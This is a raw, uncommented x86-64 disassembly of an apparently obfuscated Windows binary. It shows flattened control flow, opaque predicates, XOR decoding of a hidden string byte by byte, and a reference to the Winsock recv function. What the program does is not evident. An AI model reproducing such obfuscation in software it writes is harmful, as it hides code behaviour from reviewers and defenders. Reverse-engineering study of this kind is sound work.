cmp ecx, 0xe597bc96
jle 0x14002bbf0
cmp ecx, 0xe597bc97
je 0x14002bc0d
cmp ecx, 0xfa42bebb
je 0x14002bc1b
cmp ecx, 0x38980679
jne 0x14002bbc0
jmp 0x14002bc27
cmp ecx, 0xbbb0bd52
je 0x14002bc22
cmp ecx, 0xc1647419
jne 0x14002bbc0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002bbc0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002bbc0
mov ecx, 0x38980679
jmp 0x14002bbc0
mov ecx, r10d
jmp 0x14002bbc0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1f
mov byte [r8 + 0xf], cl
movzx ecx, byte [rax + 0x15]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002bc80
cmp ecx, 0xe597bc97
je 0x14002bc9d
cmp ecx, 0xfa42bebb
je 0x14002bcab
cmp ecx, 0x38980679
jne 0x14002bc50
jmp 0x14002b269
cmp ecx, 0xbbb0bd52
je 0x14002bcb2
cmp ecx, 0xc1647419
jne 0x14002bc50
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002bc50
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002bc50
mov ecx, 0x38980679
jmp 0x14002bc50
mov ecx, r10d
jmp 0x14002bc50
movzx eax, byte [rax + 0x16]
mov byte [rbp + 0x1cc], al
mov eax, dword [0x1402b5e18]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete cl
cmp dword [0x1402b5e1c], 0xa
setge r8b
setl r9b
xor r9b, cl
or r8b, al
xor r8b, 1
or r8b, r9b
mov eax, 0xe597bc97
cmovne eax, ebx
mov r8d, 0xe597bc97
cmovne r8d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x14002bd40
cmp ecx, 0xe597bc97
je 0x14002bd5c
cmp ecx, 0xfa42bebb
je 0x14002bd6a
cmp ecx, 0x38980679
jne 0x14002bd10
jmp 0x14002ab71
cmp ecx, 0xbbb0bd52
je 0x14002bd71
cmp ecx, 0xc1647419
jne 0x14002bd10
movsx r9, byte [rbp + 0x1cc]
mov ecx, eax
jmp 0x14002bd10
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002bd10
mov ecx, 0x38980679
jmp 0x14002bd10
mov ecx, r8d
jmp 0x14002bd10
mov rax, qword [rbp + 0x130]
mov rax, qword [rax]
mov qword [rbp + 0x138], rax
mov eax, 0xc7fab4d7
jmp 0x14002abf0
mov eax, dword [0x1402b5e10]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x2e8c7756
cmove eax, esi
cmp dword [0x1402b5e14], 0xa
mov r8d, 0x2e8c7756
cmovge eax, r8d
setl r8b
xor r8b, cl
cmovne eax, esi
jmp 0x14002abf0
mov rax, qword [rbp + 0x140]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x138]
mov qword [rbp + 0x198], rcx
mov r8, qword [rbp + 0x198]
movzx ecx, byte [rax]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
cmp ecx, 0xe597bc96
jle 0x14002be70
cmp ecx, 0xe597bc97
je 0x14002be8d
cmp ecx, 0xfa42bebb
je 0x14002be9b
cmp ecx, 0x38980679
jne 0x14002be40
jmp 0x14002bea7
cmp ecx, 0xbbb0bd52
je 0x14002bea2
cmp ecx, 0xc1647419
jne 0x14002be40
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002be40
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002be40
mov ecx, 0x38980679
jmp 0x14002be40
mov ecx, r10d
jmp 0x14002be40
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xb
mov byte [r8], cl
movzx ecx, byte [rax + 1]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002bf40
cmp ecx, 0xe597bc97
je 0x14002bf5d
cmp ecx, 0xfa42bebb
je 0x14002bf6b
cmp ecx, 0x38980679
jne 0x14002bf10
jmp 0x14002bf77
cmp ecx, 0xbbb0bd52
je 0x14002bf72
cmp ecx, 0xc1647419
jne 0x14002bf10
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002bf10
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002bf10
mov ecx, 0x38980679
jmp 0x14002bf10
mov ecx, r10d
jmp 0x14002bf10
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xc
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 2]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx - 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x14002c010
cmp ecx, 0xe597bc97
je 0x14002c02d
cmp ecx, 0xfa42bebb
je 0x14002c03b
cmp ecx, 0x38980679
jne 0x14002bfe0
jmp 0x14002c047
cmp ecx, 0xbbb0bd52
je 0x14002c042
cmp ecx, 0xc1647419
jne 0x14002bfe0
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002bfe0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002bfe0
mov ecx, 0x38980679
jmp 0x14002bfe0
mov ecx, r10d
jmp 0x14002bfe0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xd
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 3]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c0e0
cmp ecx, 0xe597bc97
je 0x14002c0fd
cmp ecx, 0xfa42bebb
je 0x14002c10b
cmp ecx, 0x38980679
jne 0x14002c0b0
jmp 0x14002c117
cmp ecx, 0xbbb0bd52
je 0x14002c112
cmp ecx, 0xc1647419
jne 0x14002c0b0
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002c0b0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002c0b0
mov ecx, 0x38980679
jmp 0x14002c0b0
mov ecx, r10d
jmp 0x14002c0b0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xe
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 4]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c1b0
cmp ecx, 0xe597bc97
je 0x14002c1cd
cmp ecx, 0xfa42bebb
je 0x14002c1db
cmp ecx, 0x38980679
jne 0x14002c180
jmp 0x14002c1e7
cmp ecx, 0xbbb0bd52
je 0x14002c1e2
cmp ecx, 0xc1647419
jne 0x14002c180
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002c180
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002c180
mov ecx, 0x38980679
jmp 0x14002c180
mov ecx, r10d
jmp 0x14002c180
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xf
mov byte [r8 + 4], cl
add r8, 5
mov qword [rbp + 0x128], r8
movzx ecx, byte [rax + 5]
mov byte [rbp + 0x190], cl
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c250
cmp ecx, 0xe597bc97
je 0x14002c26d
cmp ecx, 0xfa42bebb
je 0x14002c27b
cmp ecx, 0x38980679
jne 0x14002c220
jmp 0x14002c287
cmp ecx, 0xbbb0bd52
je 0x14002c282
cmp ecx, 0xc1647419
jne 0x14002c220
movsx r8, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002c220
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002c220
mov ecx, 0x38980679
jmp 0x14002c220
mov ecx, r10d
jmp 0x14002c220
mov qword [rbp + 0x1c0], r8
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x10
mov r8, qword [rbp + 0x128]
mov byte [r8], cl
mov ecx, 0xf1d372ca
jmp 0x14002c2d0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x20
mov byte [r8 + 0x10], cl
add r8, 0x11
mov qword [rbp + 0x190], r8
mov ecx, 0x6a88e764
nop
cmp ecx, 0x6a88e764
je 0x14002ccf7
cmp ecx, 0xf1d372ca
jne 0x14002c2d0
mov r8, qword [rbp + 0x128]
movzx ecx, byte [rax + 6]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c380
cmp ecx, 0xe597bc97
je 0x14002c39d
cmp ecx, 0xfa42bebb
je 0x14002c3ab
cmp ecx, 0x38980679
jne 0x14002c350
jmp 0x14002c3b7
cmp ecx, 0xbbb0bd52
je 0x14002c3b2
cmp ecx, 0xc1647419
jne 0x14002c350
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002c350
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002c350
mov ecx, 0x38980679
jmp 0x14002c350
mov ecx, r10d
jmp 0x14002c350
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x11
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 7]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c450
cmp ecx, 0xe597bc97
je 0x14002c46d
cmp ecx, 0xfa42bebb
je 0x14002c47b
cmp ecx, 0x38980679
jne 0x14002c420
jmp 0x14002c487
cmp ecx, 0xbbb0bd52
je 0x14002c482
cmp ecx, 0xc1647419
jne 0x14002c420
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002c420
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002c420
mov ecx, 0x38980679
jmp 0x14002c420
mov ecx, r10d
jmp 0x14002c420
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x12
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 8]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c530
cmp ecx, 0xe597bc97
je 0x14002c54d
cmp ecx, 0xfa42bebb
je 0x14002c55b
cmp ecx, 0x38980679
jne 0x14002c500
jmp 0x14002c567
cmp ecx, 0xbbb0bd52
je 0x14002c562
cmp ecx, 0xc1647419
jne 0x14002c500
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002c500
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002c500
mov ecx, 0x38980679
jmp 0x14002c500
mov ecx, r10d
jmp 0x14002c500
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x13
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 9]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x14002c600
cmp ecx, 0xe597bc97
je 0x14002c61d
cmp ecx, 0xfa42bebb
je 0x14002c62b
cmp ecx, 0x38980679
jne 0x14002c5d0
jmp 0x14002c637
cmp ecx, 0xbbb0bd52
je 0x14002c632
cmp ecx, 0xc1647419
jne 0x14002c5d0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002c5d0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002c5d0
mov ecx, 0x38980679
jmp 0x14002c5d0
mov ecx, r10d
jmp 0x14002c5d0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x14
mov byte [r8 + 4], cl
movzx ecx, byte [rax + 0xa]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c690
cmp ecx, 0xe597bc97
je 0x14002c6ad
cmp ecx, 0xfa42bebb
je 0x14002c6bb
cmp ecx, 0x38980679
jne 0x14002c660
jmp 0x14002c6c7
cmp ecx, 0xbbb0bd52
je 0x14002c6c2
cmp ecx, 0xc1647419
jne 0x14002c660
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002c660
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002c660
mov ecx, 0x38980679
jmp 0x14002c660
mov ecx, r10d
jmp 0x14002c660
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x15
mov byte [r8 + 5], cl
movzx ecx, byte [rax + 0xb]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c720
cmp ecx, 0xe597bc97
je 0x14002c73d
cmp ecx, 0xfa42bebb
je 0x14002c74b
cmp ecx, 0x38980679
jne 0x14002c6f0
jmp 0x14002c757
cmp ecx, 0xbbb0bd52
je 0x14002c752
cmp ecx, 0xc1647419
jne 0x14002c6f0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002c6f0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002c6f0
mov ecx, 0x38980679
jmp 0x14002c6f0
mov ecx, r10d
jmp 0x14002c6f0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x16
mov byte [r8 + 6], cl
movzx ecx, byte [rax + 0xc]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c7b0
cmp ecx, 0xe597bc97
je 0x14002c7cd
cmp ecx, 0xfa42bebb
je 0x14002c7db
cmp ecx, 0x38980679
jne 0x14002c780
jmp 0x14002c7e7
cmp ecx, 0xbbb0bd52
je 0x14002c7e2
cmp ecx, 0xc1647419
jne 0x14002c780
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002c780
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002c780
mov ecx, 0x38980679
jmp 0x14002c780
mov ecx, r10d
jmp 0x14002c780
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x17
mov byte [r8 + 7], cl
movzx ecx, byte [rax + 0xd]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c840
cmp ecx, 0xe597bc97
je 0x14002c85d
cmp ecx, 0xfa42bebb
je 0x14002c86b
cmp ecx, 0x38980679
jne 0x14002c810
jmp 0x14002c877
cmp ecx, 0xbbb0bd52
je 0x14002c872
cmp ecx, 0xc1647419
jne 0x14002c810
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002c810
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002c810
mov ecx, 0x38980679
jmp 0x14002c810
mov ecx, r10d
jmp 0x14002c810
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x18
mov byte [r8 + 8], cl
movzx ecx, byte [rax + 0xe]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c8d0
cmp ecx, 0xe597bc97
je 0x14002c8ed
cmp ecx, 0xfa42bebb
je 0x14002c8fb
cmp ecx, 0x38980679
jne 0x14002c8a0
jmp 0x14002c907
cmp ecx, 0xbbb0bd52
je 0x14002c902
cmp ecx, 0xc1647419
jne 0x14002c8a0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002c8a0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002c8a0
mov ecx, 0x38980679
jmp 0x14002c8a0
mov ecx, r10d
jmp 0x14002c8a0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x19
mov byte [r8 + 9], cl
movzx ecx, byte [rax + 0xf]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c960
cmp ecx, 0xe597bc97
je 0x14002c97d
cmp ecx, 0xfa42bebb
je 0x14002c98b
cmp ecx, 0x38980679
jne 0x14002c930
jmp 0x14002c997
cmp ecx, 0xbbb0bd52
je 0x14002c992
cmp ecx, 0xc1647419
jne 0x14002c930
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002c930
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002c930
mov ecx, 0x38980679
jmp 0x14002c930
mov ecx, r10d
jmp 0x14002c930
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1a
mov byte [r8 + 0xa], cl
movzx ecx, byte [rax + 0x10]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002c9f0
cmp ecx, 0xe597bc97
je 0x14002ca0d
cmp ecx, 0xfa42bebb
je 0x14002ca1b
cmp ecx, 0x38980679
jne 0x14002c9c0
jmp 0x14002ca27
cmp ecx, 0xbbb0bd52
je 0x14002ca22
cmp ecx, 0xc1647419
jne 0x14002c9c0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002c9c0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002c9c0
mov ecx, 0x38980679
jmp 0x14002c9c0
mov ecx, r10d
jmp 0x14002c9c0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1b
mov byte [r8 + 0xb], cl
movzx ecx, byte [rax + 0x11]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002ca80
cmp ecx, 0xe597bc97
je 0x14002ca9d
cmp ecx, 0xfa42bebb
je 0x14002caab
cmp ecx, 0x38980679
jne 0x14002ca50
jmp 0x14002cab7
cmp ecx, 0xbbb0bd52
je 0x14002cab2
cmp ecx, 0xc1647419
jne 0x14002ca50
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002ca50
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002ca50
mov ecx, 0x38980679
jmp 0x14002ca50
mov ecx, r10d
jmp 0x14002ca50
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1c
mov byte [r8 + 0xc], cl
movzx ecx, byte [rax + 0x12]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002cb10
cmp ecx, 0xe597bc97
je 0x14002cb2d
cmp ecx, 0xfa42bebb
je 0x14002cb3b
cmp ecx, 0x38980679
jne 0x14002cae0
jmp 0x14002cb47
cmp ecx, 0xbbb0bd52
je 0x14002cb42
cmp ecx, 0xc1647419
jne 0x14002cae0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002cae0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002cae0
mov ecx, 0x38980679
jmp 0x14002cae0
mov ecx, r10d
jmp 0x14002cae0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1d
mov byte [r8 + 0xd], cl
movzx ecx, byte [rax + 0x13]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002cba0
cmp ecx, 0xe597bc97
je 0x14002cbbd
cmp ecx, 0xfa42bebb
je 0x14002cbcb
cmp ecx, 0x38980679
jne 0x14002cb70
jmp 0x14002cbd7
cmp ecx, 0xbbb0bd52
je 0x14002cbd2
cmp ecx, 0xc1647419
jne 0x14002cb70
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002cb70
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002cb70
mov ecx, 0x38980679
jmp 0x14002cb70
mov ecx, r10d
jmp 0x14002cb70
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1e
mov byte [r8 + 0xe], cl
movzx ecx, byte [rax + 0x14]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002cc30
cmp ecx, 0xe597bc97
je 0x14002cc4d
cmp ecx, 0xfa42bebb
je 0x14002cc5b
cmp ecx, 0x38980679
jne 0x14002cc00
jmp 0x14002cc67
cmp ecx, 0xbbb0bd52
je 0x14002cc62
cmp ecx, 0xc1647419
jne 0x14002cc00
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002cc00
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002cc00
mov ecx, 0x38980679
jmp 0x14002cc00
mov ecx, r10d
jmp 0x14002cc00
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1f
mov byte [r8 + 0xf], cl
movzx ecx, byte [rax + 0x15]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002ccc0
cmp ecx, 0xe597bc97
je 0x14002ccdd
cmp ecx, 0xfa42bebb
je 0x14002cceb
cmp ecx, 0x38980679
jne 0x14002cc90
jmp 0x14002c2a9
cmp ecx, 0xbbb0bd52
je 0x14002ccf2
cmp ecx, 0xc1647419
jne 0x14002cc90
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002cc90
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002cc90
mov ecx, 0x38980679
jmp 0x14002cc90
mov ecx, r10d
jmp 0x14002cc90
movzx eax, byte [rax + 0x16]
mov byte [rbp + 0x1cc], al
mov eax, dword [0x1402b5e18]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5e1c], 0xa
setl cl
or cl, al
mov eax, 0xe597bc97
cmovne eax, ebx
mov r8d, 0xe597bc97
cmovne r8d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002cd70
cmp ecx, 0xe597bc97
je 0x14002cd8c
cmp ecx, 0xfa42bebb
je 0x14002cd9a
cmp ecx, 0x38980679
jne 0x14002cd40
jmp 0x14002cda6
cmp ecx, 0xbbb0bd52
je 0x14002cda1
cmp ecx, 0xc1647419
jne 0x14002cd40
movsx r9, byte [rbp + 0x1cc]
mov ecx, eax
jmp 0x14002cd40
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002cd40
mov ecx, 0x38980679
jmp 0x14002cd40
mov ecx, r8d
jmp 0x14002cd40
mov qword [rbp + 0x1c0], r9
mov rax, qword [rbp + 0x1c0]
xor al, 0x21
mov rcx, qword [rbp + 0x190]
mov byte [rcx], al
mov rax, qword [rbp + 0x190]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x198]
mov byte [rax + 0x18], 1
mov rax, qword [rbp + 0x198]
mov eax, 0xe971b5c6
jmp 0x14002abf0
cmp eax, 0x77df2da
jne 0x14002abf0
mov rax, qword [rbp + 0x138]
mov rsp, rdx
mov eax, dword [0x1402b5e20]
mov ecx, dword [0x1402b5e24]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0x9c17fc93
cmovne r8d, edi
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, edi
jmp 0x14002f237
cmp eax, 0xa979251e
jg 0x14002f1e2
cmp eax, 0x855fd505
je 0x14002f1f7
cmp eax, 0x9c17fc93
jne 0x14002ab10
mov rdx, rsp
mov eax, dword [0x1402b5e10]
mov ecx, dword [0x1402b5e14]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete byte [rbp + 0x127]
cmp ecx, 0xa
setl byte [rbp + 0xf0]
mov eax, 0xaec169f1
jmp 0x14002cf20
mov qword [rbp + 0x1c0], r9
mov rax, qword [rbp + 0x1c0]
xor al, 0x21
mov rcx, qword [rbp + 0x190]
mov byte [rcx], al
mov rax, qword [rbp + 0x190]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x198]
mov byte [rax + 0x18], 1
mov eax, dword [0x1402b5e10]
mov ecx, dword [0x1402b5e14]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete al
cmp ecx, 0xa
setl r9b
xor r9b, al
mov r9d, 0x2e8c7756
cmovne r9d, r15d
cmp r8d, 0xffffffff
mov eax, r9d
cmove eax, r15d
cmp ecx, 0xa
mov rcx, qword [rbp + 0x198]
cmovge eax, r9d
nop word [rax + rax]
cmp eax, 0xe971b5c5
jle 0x14002d000
cmp eax, 0x77df2d9
jle 0x14002d060
cmp eax, 0x2e8c7756
je 0x14002e10d
cmp eax, 0x32a17146
jne 0x14002f166
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x140], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x130], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
